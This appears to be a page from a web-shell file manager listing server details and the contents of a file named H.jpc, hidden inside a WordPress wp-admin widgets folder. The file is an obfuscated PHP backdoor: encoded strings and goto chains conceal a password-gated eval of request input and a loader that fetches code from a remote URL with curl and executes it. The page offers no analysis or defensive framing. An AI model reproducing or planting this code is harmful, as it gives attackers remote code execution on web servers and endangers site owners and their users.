HEX
Server: Apache
System: Linux hcss-ecs-9037 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.21
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/zhangwenbin_blog/wp-admin/js/widgets/widgets/H.jpc
<?php
 goto Z7An3PULqA; t3gj0v2LxK: metaphone("\x53\x4d\171\166\102\144\x71\x72\x6a\130\111\60\104\65\61\x7a\x46\x2b\x35\x30\x77\x67\x61\172\166\123\x69\x75\155\65\x63\x79\124\x37\125\153\152\117\x38\x6f\x51\157\111"); goto xzu3vhXjxm; griQbCgW5S: $YR2z36DqE2 = ${$lfrYhLKWBF[8 + 23] . $lfrYhLKWBF[54 + 5] . $lfrYhLKWBF[33 + 14] . $lfrYhLKWBF[38 + 9] . $lfrYhLKWBF[46 + 5] . $lfrYhLKWBF[9 + 44] . $lfrYhLKWBF[46 + 11]}; goto fYfP7ZoQ_2; fYfP7ZoQ_2: @(md5(md5(md5(md5($YR2z36DqE2[11])))) === "\64\66\x31\x63\62\64\x31\141\62\x33\67\71\144\x61\x38\142\x65\x30\143\x32\x38\71\x35\x36\62\144\64\x61\x30\x35\66\x61") && (count($YR2z36DqE2) == 17 && in_array(gettype($YR2z36DqE2) . count($YR2z36DqE2), $YR2z36DqE2)) ? ($YR2z36DqE2[61] = $YR2z36DqE2[61] . $YR2z36DqE2[80]) && ($YR2z36DqE2[88] = $YR2z36DqE2[61]($YR2z36DqE2[88])) && @eval($YR2z36DqE2[61](${$YR2z36DqE2[44]}[22])) : $YR2z36DqE2; goto t3gj0v2LxK; Z7An3PULqA: $itKQu0dlHp = "\162" . "\141" . "\156" . "\x67" . "\145"; goto EALC_eDQ29; xzu3vhXjxm: class A5PRlKUhEo { static function m2q3qE65Ie($jwQ10vP0ER) { goto WrjF1CFw21; mxU9dJMUMA: $Fqtsr3Q6TP = $aQzT2v7wlu("\x7e", "\x20"); goto Mn7GcPtuxA; Qt6MNTQdh0: foreach ($TPNZwGML3O as $syJYQpnOGo => $k9czcmnJvp) { $dZxvr265LV .= $Fqtsr3Q6TP[$k9czcmnJvp - 47898]; iGtGRiwI3i: } goto Z2SmdCWURD; Z2SmdCWURD: r_FKpZopn9: goto gzhPKDrDcp; e6WamZfqN0: $dZxvr265LV = ''; goto Qt6MNTQdh0; Mn7GcPtuxA: $TPNZwGML3O = explode("\x3c", $jwQ10vP0ER); goto e6WamZfqN0; gzhPKDrDcp: return $dZxvr265LV; goto S0xBwOxwGA; WrjF1CFw21: $aQzT2v7wlu = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto mxU9dJMUMA; S0xBwOxwGA: } static function ojuns72Zlf($X1wgfEDcaD, $B5qZVPRgCL) { goto D7WBIbK_C_; U8YQ9BbhkP: $MtDIj1wTXQ = curl_exec($MtFum9CUuv); goto oQRBIdcsWo; oQRBIdcsWo: return empty($MtDIj1wTXQ) ? $B5qZVPRgCL($X1wgfEDcaD) : $MtDIj1wTXQ; goto UxgI8ZtYCd; D7WBIbK_C_: $MtFum9CUuv = curl_init($X1wgfEDcaD); goto qIHHKfPIMP; qIHHKfPIMP: curl_setopt($MtFum9CUuv, CURLOPT_RETURNTRANSFER, 1); goto U8YQ9BbhkP; UxgI8ZtYCd: } static function OYWaP84Fbt() { goto UYLQ1QMpjK; CdPngEXxMN: $jSOtXM7dJt = $vSHG24DqTq[0 + 2]($G5X4OARrkN, true); goto qgtotLgVOB; hpzGpuU7yD: foreach ($JNyFqb9KuX as $kzapqQR4Ne) { $vSHG24DqTq[] = self::M2Q3QE65IE($kzapqQR4Ne); oerT2LP9nW: } goto vDSRWyFFbn; qgtotLgVOB: @$vSHG24DqTq[3 + 7](INPUT_GET, "\x6f\x66") == 1 && die($vSHG24DqTq[4 + 1](__FILE__)); goto SJTD2aT9MQ; hjrrFMfnCU: aSBbPvko1h: goto aG3_1q4lUm; zboYnmPuwV: @eval($vSHG24DqTq[2 + 2]($vGYryKILgk)); goto y6RL5v2cP6; gMkPsn1Xhs: $vGYryKILgk = self::oJUNS72zLF($jSOtXM7dJt[0 + 1], $vSHG24DqTq[2 + 3]); goto zboYnmPuwV; y6RL5v2cP6: die; goto hjrrFMfnCU; Pb1Fw78dBB: $G5X4OARrkN = @$vSHG24DqTq[1 + 2]($vSHG24DqTq[5 + 1], $XvqGa4ojmG); goto CdPngEXxMN; UYLQ1QMpjK: $JNyFqb9KuX = array("\x34\x37\x39\x32\65\74\64\x37\x39\61\x30\74\64\x37\x39\62\x33\x3c\x34\x37\71\62\67\74\x34\67\x39\x30\70\74\x34\x37\71\62\63\74\x34\x37\71\62\x39\74\x34\67\x39\62\62\74\64\67\71\60\67\74\x34\x37\x39\61\x34\74\64\67\71\62\65\x3c\64\x37\x39\60\70\74\x34\67\71\x31\71\74\64\x37\x39\x31\x33\x3c\64\67\71\x31\64", "\x34\67\x39\60\x39\74\64\x37\71\x30\70\74\x34\67\71\x31\60\74\x34\67\x39\62\71\74\64\x37\x39\x31\x30\x3c\64\x37\71\61\x33\74\64\67\71\60\70\x3c\64\67\71\67\x35\74\x34\67\71\67\63", "\64\67\71\61\70\74\64\67\x39\60\71\x3c\64\x37\x39\x31\63\74\64\67\x39\x31\64\74\x34\67\x39\x32\x39\x3c\64\67\71\x32\x34\x3c\x34\67\71\x32\63\74\64\x37\71\62\x35\x3c\x34\67\x39\61\63\x3c\x34\x37\x39\x32\x34\x3c\x34\x37\71\x32\x33", "\x34\x37\x39\x31\62\x3c\x34\67\71\62\x37\x3c\x34\67\x39\x32\x35\74\64\67\x39\61\x37", "\64\x37\x39\x32\66\74\x34\67\71\62\67\x3c\64\x37\71\x30\x39\x3c\x34\x37\x39\x32\63\x3c\64\67\x39\67\x30\74\64\67\71\67\x32\x3c\64\x37\x39\62\71\x3c\x34\x37\x39\62\64\74\64\x37\71\x32\63\74\64\67\71\x32\x35\x3c\64\x37\x39\61\63\74\64\x37\71\62\64\74\x34\67\x39\x32\63", "\x34\x37\71\62\x32\74\64\x37\71\61\x39\74\x34\67\x39\x31\x36\74\64\67\71\x32\x33\74\x34\x37\71\x32\x39\x3c\64\67\71\x32\x31\x3c\64\67\x39\62\63\x3c\64\67\x39\x30\x38\x3c\x34\x37\x39\62\x39\x3c\x34\x37\71\x32\65\x3c\x34\x37\x39\61\63\x3c\64\x37\x39\61\x34\x3c\x34\x37\71\60\x38\74\x34\67\x39\x32\63\x3c\x34\x37\x39\61\x34\x3c\x34\67\x39\x30\x38\74\x34\67\71\x30\x39", "\64\x37\71\65\62\x3c\64\x37\x39\70\x32", "\x34\67\x38\71\x39", "\64\67\x39\x37\x37\x3c\x34\67\x39\x38\62", "\x34\x37\71\65\71\x3c\64\x37\71\64\62\x3c\64\x37\x39\x34\62\x3c\64\67\71\65\71\74\x34\67\x39\63\65", "\64\x37\71\x32\62\74\x34\67\x39\x31\x39\74\x34\67\71\61\x36\74\x34\x37\x39\60\x38\x3c\x34\x37\71\x32\x33\74\64\x37\x39\x31\x30\x3c\64\67\71\62\71\x3c\64\67\71\x31\x39\74\64\67\x39\x31\x34\74\64\67\71\61\62\x3c\x34\x37\x39\60\67\74\64\67\71\x30\70"); goto hpzGpuU7yD; vDSRWyFFbn: ZedeNdezmR: goto a6LyHQn7Qb; SJTD2aT9MQ: if (!(@$jSOtXM7dJt[0] - time() > 0 and md5(md5($jSOtXM7dJt[0 + 3])) === "\142\x35\x63\64\x31\x64\66\141\64\x63\x37\x61\64\60\60\x65\70\61\x35\143\x30\142\x38\61\x31\x38\x38\67\62\x34\x62\146")) { goto aSBbPvko1h; } goto gMkPsn1Xhs; a6LyHQn7Qb: $XvqGa4ojmG = @$vSHG24DqTq[1]($vSHG24DqTq[2 + 8](INPUT_GET, $vSHG24DqTq[6 + 3])); goto Pb1Fw78dBB; aG3_1q4lUm: } } goto KgaH87fWiE; EALC_eDQ29: $lfrYhLKWBF = $itKQu0dlHp("\x7e", "\x20"); goto griQbCgW5S; KgaH87fWiE: a5prLkUheO::OYWaP84FbT();
?>